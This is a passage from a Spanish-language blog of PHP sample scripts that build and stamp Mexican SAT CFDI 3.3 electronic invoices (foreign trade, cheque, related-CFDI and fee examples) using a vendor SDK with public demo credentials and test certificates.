<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';*/</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//$datos['impuestos']['retenciones'][0]['impuesto'] = 'ISR';</span><br />
<span style="font-size: x-small;">//$datos['impuestos']['retenciones'][0]['importe'] = '0.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['comercioexterior11']['TipoOperacion'] = '2';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['ClaveDePedimento'] = 'A1';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['CertificadoOrigen'] = '0';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Incoterm'] = 'FOB';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Subdivision'] = '0';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['TipoCambioUSD'] = '20.00';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['TotalUSD'] = '15.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//$datos['comercioexterior11']['Emisor']['Curp'] = 'BAJS721028MDFMTR05';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Emisor']['Domicilio']['Calle'] = 'Hidalgo';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Emisor']['Domicilio']['NumeroExterior'] = '1000';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Emisor']['Domicilio']['Colonia'] = '0209';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Emisor']['Domicilio']['Municipio'] = '014';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Emisor']['Domicilio']['Estado'] = 'QUE';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Emisor']['Domicilio']['Pais'] = 'MEX';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Emisor']['Domicilio']['CodigoPostal'] = '76224';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['comercioexterior11']['Receptor']['Domicilio']['Calle'] = 'Avenue Sahara';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Receptor']['Domicilio']['NumeroExterior'] = '74';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Receptor']['Domicilio']['Colonia'] = 'BIG DESERT';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Receptor']['Domicilio']['Estado'] = 'NV';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Receptor']['Domicilio']['Pais'] = 'USA';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Receptor']['Domicilio']['CodigoPostal'] = '45678';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['comercioexterior11']['Destinatario'][0]['Domicilio']['Calle'] = 'Avenue Montesquieu';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Destinatario'][0]['Domicilio']['NumeroExterior'] = '74';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Destinatario'][0]['Domicilio']['Colonia'] = 'BIG DESERT';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Destinatario'][0]['Domicilio']['Estado'] = 'NV';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Destinatario'][0]['Domicilio']['Pais'] = 'USA';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Destinatario'][0]['Domicilio']['CodigoPostal'] = '45678';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][0]['NoIdentificacion'] = '1231';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][0]['FraccionArancelaria'] = '94059102';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][0]['CantidadAduana'] = '1';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][0]['UnidadAduana'] = '01';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][0]['ValorUnitarioAduana'] = '5.00';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][0]['ValorDolares'] = '5.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][1]['NoIdentificacion'] = '1232';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][1]['FraccionArancelaria'] = '94059103';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][1]['CantidadAduana'] = '1';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][1]['UnidadAduana'] = '01';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][1]['ValorUnitarioAduana'] = '5.00';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][1]['ValorDolares'] = '5.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][2]['NoIdentificacion'] = '1233';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][2]['FraccionArancelaria'] = '94059104';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][2]['CantidadAduana'] = '1';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][2]['UnidadAduana'] = '01';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][2]['ValorUnitarioAduana'] = '5.00';</span><br />
<span style="font-size: x-small;">$datos['comercioexterior11']['Mercancias'][2]['ValorDolares'] = '5.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$res = mf_genera_cfdi($datos);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">echo "<h1>Respuesta Generar XML y Timbrado</h1>";</span><br />
<span style="font-size: x-small;">foreach($res AS $variable=>$valor)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $valor=htmlentities($valor, ENT_IGNORE);</span><br />
<span style="font-size: x-small;"> $valor=str_replace('&lt;br/&gt;','<br/>',$valor);</span><br />
<span style="font-size: x-small;"> echo "<b>[$variable]=</b>$valor<hr>";</span><br />
<span style="font-size: x-small;">}</span><br />
<div>
<br /></div>
<div>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span></div>
Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-16586485938110967522018-12-01T11:22:00.000-06:002018-12-01T11:22:03.516-06:00Facturacion electronica SAT Ejemplo crear xml cfdi Chaque en phpFacturacion electronica SAT Ejemplo crear xml cfdi Chaque en php<br />
<br />
<span style="font-size: x-small;">error_reporting(~(E_WARNING|E_NOTICE));</span><br />
<span style="font-size: x-small;">//error_reporting(E_ALL);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se especifica la zona horaria</span><br />
<span style="font-size: x-small;">date_default_timezone_set('America/Mexico_City');</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se incluye el SDK</span><br />
<span style="font-size: x-small;">require_once '../../sdk2.php';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['PAC']['usuario'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['pass'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['produccion'] = 'NO'; // [SI|NO]</span><br />
<span style="font-size: x-small;">$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['pass'] = '12345678a';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//Version cfdi 3.3</span><br />
<span style="font-size: x-small;">$datos['version_cfdi'] = '3.3';</span><br />
<span style="font-size: x-small;">//RUTA DONDE ALMACENARA EL CFDI</span><br />
<span style="font-size: x-small;">$datos['cfdi']='../../timbrados/ejemplo_factura_cheque.xml';</span><br />
<span style="font-size: x-small;">// OPCIONAL GUARDAR EL XML GENERADO ANTES DE TIMBRARLO</span><br />
<span style="font-size: x-small;">$datos['xml_debug']='../../timbrados/debug_ejemplo_factura_cheque.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//OPCIONAL, ACTIVAR SOLO EN CASO DE CONFLICTOS</span><br />
<span style="font-size: x-small;">//$datos['remueve_acentos']='SI';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//OPCIONAL, UTILIZAR LA LIBRERIA PHP DE OPENSSL, DEFAULT SI</span><br />
<span style="font-size: x-small;">$datos['php_openssl']='SI';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['serie'] = 'A'; //opcional</span><br />
<span style="font-size: x-small;">$datos['factura']['folio'] = '100'; //opcional</span><br />
<span style="font-size: x-small;">$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s',time()-120);// Opcional "time()-120" para retrasar la hora 2 minutos para evitar falla de error en rango de fecha</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//$datos['factura']['NumCtaPago'] = '1234'; //opcional; 4 DIGITOS pero obligatorio en transferencias y cheques</span><br />
<span style="font-size: x-small;">$datos['factura']['metodo_pago'] = 'PUE'; // EFECTIV0, CHEQUE, TARJETA DE CREDITO, TRANSFERENCIA BANCARIA, NO IDENTIFICADO</span><br />
<span style="font-size: x-small;">$datos['factura']['forma_pago'] = '02'; //PAGO EN UNA SOLA EXHIBICION, CREDITO 7 DIAS, CREDITO 15 DIAS, CREDITO 30 DIAS, ETC</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocomprobante'] = 'I'; //ingreso, egreso</span><br />
<span style="font-size: x-small;">$datos['factura']['moneda'] = 'MXN'; // MXN USD EUR</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocambio'] = '1'; // OPCIONAL (MXN = 1.00, OTRAS EJ: USD = 13.45; EUR = 16.86)</span><br />
<span style="font-size: x-small;">$datos['factura']['LugarExpedicion'] = '27000';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['RegimenFiscal'] = '601';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA </span><br />
<span style="font-size: x-small;">$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// IMPORTANTE PROBAR CON NOMBRE Y RFC REAL O GENERARA ERROR DE XML MAL FORMADO</span><br />
<span style="font-size: x-small;">$datos['receptor']['rfc'] = 'SOHM7509289MA';</span><br />
<span style="font-size: x-small;">$datos['receptor']['nombre'] = 'MIGUEL ANGEL SOSA HERNANDEZ';</span><br />
<span style="font-size: x-small;">$datos['receptor']['UsoCFDI'] = 'P01';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$concepto['ClaveProdServ'] = '84111506';</span><br />
<span style="font-size: x-small;">$concepto['cantidad'] = '1';</span><br />
<span style="font-size: x-small;">$concepto['unidad'] = 'PIEZA';</span><br />
<span style="font-size: x-small;">$concepto['ClaveUnidad'] = "ACT"; //ID, REF, CODIGO O SKU DEL PRODUCTO</span><br />
<span style="font-size: x-small;">$concepto['descripcion'] = 'tornillo 25" plateado';</span><br />
<span style="font-size: x-small;">$concepto['valorunitario'] = '1000.00'; // SIN IVA</span><br />
<span style="font-size: x-small;">$concepto['importe'] = '1000.00';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['conceptos'][0] = $concepto;</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Base'] = '1000.00';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Importe'] = '160.00'; </span><br />
<span style="font-size: x-small;">$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['subtotal'] = 1000.00; // sin impuestos</span><br />
<span style="font-size: x-small;">$datos['factura']['descuento'] = 0.00; // descuento sin impuestos</span><br />
<span style="font-size: x-small;">$datos['factura']['total'] = 1160.00; // total incluyendo impuestos</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['impuestos']['TotalImpuestosTrasladados']='160.00';</span><br />
<span style="font-size: x-small;">$translado1['Impuesto'] = '002';</span><br />
<span style="font-size: x-small;">$translado1['TasaOCuota'] = '0.160000';</span><br />
<span style="font-size: x-small;">$translado1['Importe'] = '160.00'; // iva de los productos facturados</span><br />
<span style="font-size: x-small;">$translado1['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0] = $translado1;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se ejecuta el SDK</span><br />
<span style="font-size: x-small;">$res = mf_genera_cfdi($datos);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////</span><br />
<br />
<span style="font-size: x-small;">echo "<h1>Respuesta Generar XML y Timbrado</h1>";</span><br />
<span style="font-size: x-small;">foreach($res AS $variable=>$valor)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $valor=htmlentities($valor);</span><br />
<span style="font-size: x-small;"> $valor=str_replace('&lt;br/&gt;','<br/>',$valor);</span><br />
<span style="font-size: x-small;"> echo "<b>[$variable]=</b>$valor<hr>";</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;"><br /></span>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-78435566582987616672018-11-30T11:06:00.000-06:002018-11-30T11:06:06.552-06:00Facturacion electronica SAT Ejemplo crear xml cfdi Relacionados en phpFacturacion electronica SAT Ejemplo crear xml cfdi Relacionados en php<br />
<br />
<span style="font-size: x-small;"><?php</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se desactivan los mensajes de debug</span><br />
<span style="font-size: x-small;">error_reporting(0);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se especifica la zona horaria</span><br />
<span style="font-size: x-small;">date_default_timezone_set('America/Mexico_City');</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se incluye el SDK</span><br />
<span style="font-size: x-small;">require_once '../../sdk2.php';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se especifica la version de CFDi 3.3</span><br />
<span style="font-size: x-small;">$datos['version_cfdi'] = '3.3';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Ruta del XML Timbrado</span><br />
<span style="font-size: x-small;">$datos['cfdi']='../../timbrados/ejemplo_cfdi33_cfdisrelacionados.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Ruta del XML de Debug</span><br />
<span style="font-size: x-small;">$datos['xml_debug']='../../timbrados/debug_ejemplo_cfdi33_cfdisrelacionados.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Credenciales de Timbrado</span><br />
<span style="font-size: x-small;">$datos['PAC']['usuario'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['pass'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['produccion'] = 'NO';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Rutas y clave de los CSD</span><br />
<span style="font-size: x-small;">$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['pass'] = '12345678a';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos de la Factura</span><br />
<span style="font-size: x-small;">$datos['factura']['condicionesDePago'] = 'CONDICIONES';</span><br />
<span style="font-size: x-small;">$datos['factura']['descuento'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);</span><br />
<span style="font-size: x-small;">$datos['factura']['folio'] = '100';</span><br />
<span style="font-size: x-small;">$datos['factura']['forma_pago'] = '01';</span><br />
<span style="font-size: x-small;">$datos['factura']['LugarExpedicion'] = '45079';</span><br />
<span style="font-size: x-small;">$datos['factura']['metodo_pago'] = 'PUE';</span><br />
<span style="font-size: x-small;">$datos['factura']['moneda'] = 'MXN';</span><br />
<span style="font-size: x-small;">$datos['factura']['serie'] = 'A';</span><br />
<span style="font-size: x-small;">$datos['factura']['subtotal'] = '100.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocambio'] = '1';</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocomprobante'] = 'I';</span><br />
<span style="font-size: x-small;">$datos['factura']['total'] = '100.00';</span><br />
<span style="font-size: x-small;">$datos['factura']['RegimenFiscal'] = '601';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos del Emisor</span><br />
<span style="font-size: x-small;">$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA</span><br />
<span style="font-size: x-small;">$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC'; // EMPRESA DE PRUEBA</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//CFDI Relacionados</span><br />
<span style="font-size: x-small;">$datos['CfdisRelacionados']['TipoRelacion'] = '01';</span><br />
<span style="font-size: x-small;">$datos['CfdisRelacionados']['UUID'][0]='A39DA66B-52CA-49E3-879B-5C05185B0EF7';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Datos del Receptor</span><br />
<span style="font-size: x-small;">$datos['receptor']['rfc'] = 'XAXX010101000';</span><br />
<span style="font-size: x-small;">$datos['receptor']['nombre'] = 'Publico en General';</span><br />
<span style="font-size: x-small;">$datos['receptor']['UsoCFDI'] = 'G01';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se agregan los conceptos</span><br />
<span style="font-size: x-small;">for ($i = 1; $i <= 1; $i++)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['cantidad'] = '1.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['unidad'] = 'PZ';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ID'] = "COD$i";</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['descripcion'] = "PRODUCTO $i";</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['valorunitario'] = '100.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['importe'] = '100.00';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ClaveProdServ'] = '01010101';</span><br />
<span style="font-size: x-small;"> $datos['conceptos'][$i]['ClaveUnidad'] = 'C81';</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se agregan los Impuestos</span><br />
<span style="font-size: x-small;">$datos['impuestos']['TotalImpuestosTrasladados'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['impuesto'] = '003';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['tasa'] = '0.160000';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['importe'] = '0.00';</span><br />
<span style="font-size: x-small;">$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se ejecuta el SDK</span><br />
<span style="font-size: x-small;">$res = mf_genera_cfdi($datos);</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">/////////// MOSTRAR RESULTADOS DEL ARRAY $res ///////////</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">echo "<h1>Respuesta Generar XML y Timbrado</h1>";</span><br />
<span style="font-size: x-small;">foreach($res AS $variable=>$valor)</span><br />
<span style="font-size: x-small;">{</span><br />
<span style="font-size: x-small;"> $valor=htmlentities($valor, ENT_IGNORE);</span><br />
<span style="font-size: x-small;"> $valor=str_replace('&lt;br/&gt;','<br/>',$valor);</span><br />
<span style="font-size: x-small;"> echo "<b>[$variable]=</b>$valor<hr>";</span><br />
<span style="font-size: x-small;">}</span><br />
<span style="font-size: x-small;"><br /></span>
EL KIT DE DESARROLLO TE REGRESA<br />
<br />
<br />
<ul>
<li>EL CFDI XML EN FORMATO TEXTO</li>
<li>EL ARCHIVO XML DEL CFDI</li>
<li>EL PNG QR DEL CODIGO BIDIMENCIONAL</li>
<li>EL ARCHIVO PNG DEL CODIGO QR</li>
<li>EL PAC CON EL QUE FUE TIMBRADO</li>
<li>EL UUID</li>
<li>LA CADENA ORIGINAL</li>
<li>EL NO DE CERTIFACADO DEL SAT</li>
<li>EL SELLO DEL SAT</li>
<li>ENTRE OTROS DATOS </li>
</ul>
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">MAS EJEMPLOS</span><br />
<br />
<ul>
<li>Ejemplo crear xml cfdi recibos de pagos sat</li>
<li>Ejemplo crear xml cfdi recibos de nomina sat</li>
<li>Ejemplo crear xml cfdi recibos de honorarios sat</li>
<li>Ejemplo crear xml cfdi notas de credito sat</li>
<li>Ejemplo crear xml cfdi comercio exterior sat</li>
<li>Ejemplo crear xml cfdi pago en parcialidades sat</li>
<li>Ejemplo crear xml cfdi impuestos locales sat</li>
<li>Ejemplo crear xml cfdi factura de hoteles sat</li>
<li>Ejemplo crear xml cfdi divisas sat</li>
<li>Ejemplo crear xml cfdi aerolineas sat</li>
<li>ETC ETC</li>
</ul>
<br />
<span style="font-size: x-small;"></span><br />
<span style="font-size: x-small;"><br /></span><span style="font-size: x-small;">Mas informacion y ejemplos de facturacion electronica en <a href="http://multifacturas.com/">http://multifacturas.com</a></span>Anonymoushttp://www.blogger.com/profile/17876758930644409866noreply@blogger.com0tag:blogger.com,1999:blog-8067086110989414324.post-50759880114602771772018-11-29T10:53:00.000-06:002018-11-29T10:53:07.848-06:00Facturacion electronica SAT Ejemplo crear xml cfdi Honorarios en php<span style="font-size: x-small;"><br /></span>
Facturacion electronica SAT Ejemplo crear xml cfdi Impuestos locales en php<br />
<br />
<br />
<span style="font-size: x-small;">// Se especifica la zona horaria</span><br />
<span style="font-size: x-small;">date_default_timezone_set('America/Mexico_City');</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">// Se incluye el SDK</span><br />
<span style="font-size: x-small;">require_once '../../sdk2.php';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['PAC']['usuario'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['pass'] = 'DEMO700101XXX';</span><br />
<span style="font-size: x-small;">$datos['PAC']['produccion'] = 'NO'; // [SI|NO]</span><br />
<span style="font-size: x-small;">$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';</span><br />
<span style="font-size: x-small;">$datos['conf']['pass'] = '12345678a';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//Version cfdi 3.3</span><br />
<span style="font-size: x-small;">$datos['version_cfdi'] = '3.3';</span><br />
<span style="font-size: x-small;">//RUTA DONDE ALMACENARA EL CFDI</span><br />
<span style="font-size: x-small;">$datos['cfdi']='../../timbrados/ejemplo_honorarios.xml';</span><br />
<span style="font-size: x-small;">// OPCIONAL GUARDAR EL XML GENERADO ANTES DE TIMBRARLO</span><br />
<span style="font-size: x-small;">$datos['xml_debug']='../../timbrados/debug_ejemplo_honorarios.xml';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//OPCIONAL, ACTIVAR SOLO EN CASO DE CONFLICTOS</span><br />
<span style="font-size: x-small;">//$datos['remueve_acentos']='SI';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">//OPCIONAL, UTILIZAR LA LIBRERIA PHP DE OPENSSL, DEFAULT SI</span><br />
<span style="font-size: x-small;">$datos['php_openssl']='SI';</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">$datos['factura']['serie'] = 'A'; //opcional</span><br />
<span style="font-size: x-small;">$datos['factura']['folio'] = '100'; //opcional</span><br />
<span style="font-size: x-small;">$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s',time()-120);// Opcional "time()-120" para retrasar la hora 2 minutos para evitar falla de error en rango de fecha</span><br />
<span style="font-size: x-small;">$datos['factura']['metodo_pago'] = 'PUE'; // VER DOCUMENTACION :: EFECTIV0, CHEQUE, TARJETA DE CREDITO, TRANSFERENCIA BANCARIA, NO IDENTIFICADO</span><br />
<span style="font-size: x-small;">$datos['factura']['forma_pago'] = '01'; //PAGO EN UNA SOLA EXHIBICION, CREDITO 7 DIAS, CREDITO 15 DIAS, CREDITO 30 DIAS, ETC</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocomprobante'] = 'I'; </span><br />
<span style="font-size: x-small;">$datos['factura']['moneda'] = 'MXN'; // MXN USD EUR</span><br />
<span style="font-size: x-small;">$datos['factura']['tipocambio'] = 1; // OPCIONAL (MXN = 1.00, OTRAS EJ: USD = 13.45; EUR = 16.86)</span><br />
<span style="font-size: x-small;">$datos['factura']['LugarExpedicion'] = '27000';</span><br />
